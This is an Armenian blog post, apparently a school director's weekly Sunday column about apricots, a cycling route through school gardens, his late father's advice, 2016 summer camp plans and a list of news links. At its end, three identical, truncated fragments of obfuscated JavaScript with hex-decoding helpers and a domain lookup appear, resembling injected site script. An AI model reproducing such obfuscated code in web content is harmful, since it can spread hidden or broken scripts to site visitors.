Ի՞նչ ասել է կիրակիի գիր` շաբաթ օրվա իմ ապրած-տեսած-զգացածի պատմությո՞ւն, թե՞ շաբաթվա ամփոփագիր՝ տպավորվածի, մտահոգությունների, չասվածի… դրանց առաջացրած պատմականի՝ ապրածի-չապրածի զուգադրումներով․․․ Ամեն ինչ ավելի պարզ է․ կիրակին այս պարգև է շաբաթվա անընդհատ ջանքերի համար, ինչպես արեգակի պտուղ ծիրանը արկղով, Աբրահամ ընկերոջից, Դավիթ Բլեյանի համար․․․ Վայելք կիրակիի ու ծով ծիրանի․․․ Հա՛մ ծիրան ենք սիրում ես ու Դավիթը, հա՛մ ծիրանի կորիզ, որ ես կոտրում եմ Դավթի համար․․․ Օրվա մեջ, ուր էլ լինեմ, ոչ մի կորիզ բաց չեմ թողնի․․․ծիրան ուտելու ոչ մի առիթ․․․Երեկ կարոտակեզ-սրտակեզ առավոտ կանուխի Խանջյան-Իսակով, պատմել եմ, ուղին շարունակություն ունեցավ․․․ Ես 8։30-ին, Հիմնական դպրոցի բակում էի. շրջանցելով գլխավոր մուտքի փակ դուռը, քնած-արթուն Համլետ բակապահին-պարտիզպանին` շրջան արեցի Շամիրամի դպրոցի ցանցը երիզող այգիներով, այնքա՜ն գործ տեսա. անհետաձգելի՞, հարցնում եմ… Ու հեծանվաուղով մտա դպրոցի պարտեզ․․․ Դպրոց-պարտեզը` մեր կրտսեր դպրոցները, իրենց նախակրթարաններով, ամենաստացվածը-ամենահանրայինը, մեր հեղինակած ուսումնական հաստատություններից, դպրոց են պարտեզի մեջ, թե պարտեզում դպրոցներ են․․․ Որքան ընկած ծիրան կար՝ կերա, որքան չջարդված կորիզ՝ հավաքեցի, պարտեզում արվածով շաբաթվա՝ ուրախացա, հաջորդ շաբաթվա անելիքը գրանցեցի ու հա՜յդե՝ իմ հայտնաբերած հեծանվակածանով՝ մեր Մետաքսի ճանապարհի Հիմնական-գյուղացիական տնտեսություն–Դպրոց-պարտեզ-Կենտրոն-Վերնիսաժ ճամփեն անցա․․․
Ընտանեկան կիրակին:
Լուսանկարները` Լուսինե Աբրահամյանի:
Հորս կապը ինձ այդպես էլ բաց չթողեց։ Ժամ ու կես հեծանվի վրա, ես իմ անվերջանալի-ամենաազնիվ կապով-մտածումով Շամխալբեկ հորս հետ էի։ Իսկական բեկ։ Մանկության ամբարից մանրաթելերով օպտիկական, ա՜յ քեզ ինտերնետ աշխարհ, ինձ մշտապես սնուցող-ուղղորդող-վստահություն հաղորդող․․․ «Մարդ, որ իրեն չխայտառակի, ուրիշը անել չի կարող»․․․ ամեն ինչ ասաց ու հայրաբար իր տեղը դրեց հայրս․ «Անցիր քո ճանապարհն ու կենտրոնացիր քո անելիքի վրա․ ուրիշներին հանգիստ թող, շան տղա ու չնեղվես․․․ Դու ու քո ճամփան․․․»։
Հիմա, երբ իմ առաջ Սևանի «Ժայռից» սկսվող ճամբար-արշավախմբային հայրենագիտական ճամփորդությունների հայտերն են, շրջան է, հրե՛ս, շարվել են, ուսապարկերն են հավաքում Ելենա Սարգսյանն ու իր ճամփորդները, մանկավարժության ճամբարի սեբաստացի աշխատողների, Ավագ և Միջին դպրոցների մուտքի ճամբարների ջոկատները, ռազմամարզական 2016 խաղերի հաղթողների խմբերը, սրանից էլ լավ հարթա՞կ ներկայացնելու կրթահամալիրի դպրոցների արշավախմբային-հեծանվային կայանները՝ կառուցվող-ձևավորող, որպես թվով 6-րդ հրաշալիք․․․ Թողնենք կրթահամալիրի Հիմնական դպրոցի, Դպրոց-պարտեզի, Նոր դպրոցի, Գեղարվեստի, Միջին ու Ավագ դպրոցների, Քոլեջի ճամբարներին, աշխատանքի ջոկատներին այս իմ պատումը շարունակելը, իրենց կայանները «Ժայռ 2016»-ի ամառային նախագծերի համայնապատկերին ներկայացնելը․․․ Ես այնքան ջանքեր, միջոցներ ներդրեցի, որ մեր այս ուսումնական նոր կայանները, որպես նոր տեսակի հեղինակային կրթական ծրագրով թելադրված ճամփորդությամբ ուսուցման սպասարկու այս ավարտելի վիճակի բերվեն... Հիմա ձեր հերթն է գործելու, սկսեք. ուրիշ ե՞րբ, եթե ոչ ՝ հիմա, ուրիշ ո՞վ, եթե ոչ դուք սեբաստացիներ` մեծով-պստիկով, իրարից առաջ ընկնելով, դրանով իրար օգնելով․․․
Կիրակնօրյա ընթերցարան
- Կամքի ազատության նկատմամբ հավատը դարձել է հոգեկան առողջության աղբյուր․․․ Գիտնականները եկել են այն եզրակացության, որ կամքի ազատության նկատմամբ մարդու հավատը նվազեցնելու փորձերն ուժեղացնում են ագրեսիան, ծնում են սուտ և հարմարվողականություն, ինչպես նաև թուլացնում են երախտագիտության զգացումը․․․
- Իրանի հետ Թուրքիայի ապրանքաշրջանառության ծավալը կարճ ժամանակում եռակի կաճի
- Եվրոպական միության ու Վրաստանի միջև կնքված Ասոցացման համաձայնագրի` խորը և համապարփակ ազատ առևտրի բոլոր կետերը ուժի մեջ կմտնեն 2016-ի հուլիսի 1-ից:
Վրաստանի մասին այսպիսի կենդանի, ապրեցնող նյութեր որքան ուզեք կգտնեք. Տեսնենք ինչ է ասում մեդիան Հայաստանի մասին.
- Բետոնապատ-ասֆալտապատ, բայց ոչ կանաչապատ. Երևանն անապատանում է, մայրաքաղաքը կորցրել է կանաչի 60 տոկոսը
- Արտագաղաթը ոչ միայն Հայաստանում չի դադարում, այլև ավելի է մեծանում, այն պարզ պատճառով, որ դրան խթանող գործոնները մեզանում` քաղաքական, տնտեսական, ու նաև հոգեբանական, որևէ փոփոխության չեն ենթարկվում: Ժողովրդագետ Ռուբեն Եգանյանին լսենք:
- Գաղափարների ու մարդկանց հանդիպման կետ, մեկնարկել է «Բարքեմփ Երևան 2016» չկոնֆերանսը: Բուշ Լուսինե, Զառա Առաքելյան և ընկերներ, մասնակցո՞ւմ ենք մենք այսպիսի չհավաքներին: Ինչո՞ւ չենք մասնակցում: Համ էլ սրանով ստուգենք` ընթերցո՞ւմ եք տնօրենի գիրն ու նրա ընթերցարանը:
- Կենսաբանները հայտնաբերել են աուտիզմը «բուժող» մանրէ
- Ոսպն ունի զարմանալի օգտակար հատկություններ, համարյա ինչպես ծիրանը, ինչքա՜ն նման են ոսպն ու ծիրանը, սա էլ Ռոդարիական պատմությունների մի բինոմ, երբ հանդիպում են ոսպն ու ծիրանը:
#706
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
